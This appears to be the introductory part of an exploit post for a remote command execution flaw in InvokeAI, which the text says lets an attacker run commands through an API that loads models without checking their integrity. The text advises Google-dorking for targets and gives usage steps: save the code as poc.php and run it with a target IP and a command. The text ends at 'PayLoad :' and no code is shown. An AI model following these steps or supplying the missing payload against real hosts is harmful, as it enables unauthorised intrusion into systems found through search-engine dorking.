POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] The code is a remote command execution (RCE) exploit that targets a vulnerability in InvokeAI,

which allows an attacker to execute commands via an insecure API that loads and runs models without validating their integrity.

[+] save code as poc.php .

[+] USage : cmd => c:\www\test\php poc.php 127.0.0.1 id

[+] SeT target = Line : 99

[+] PayLoad :
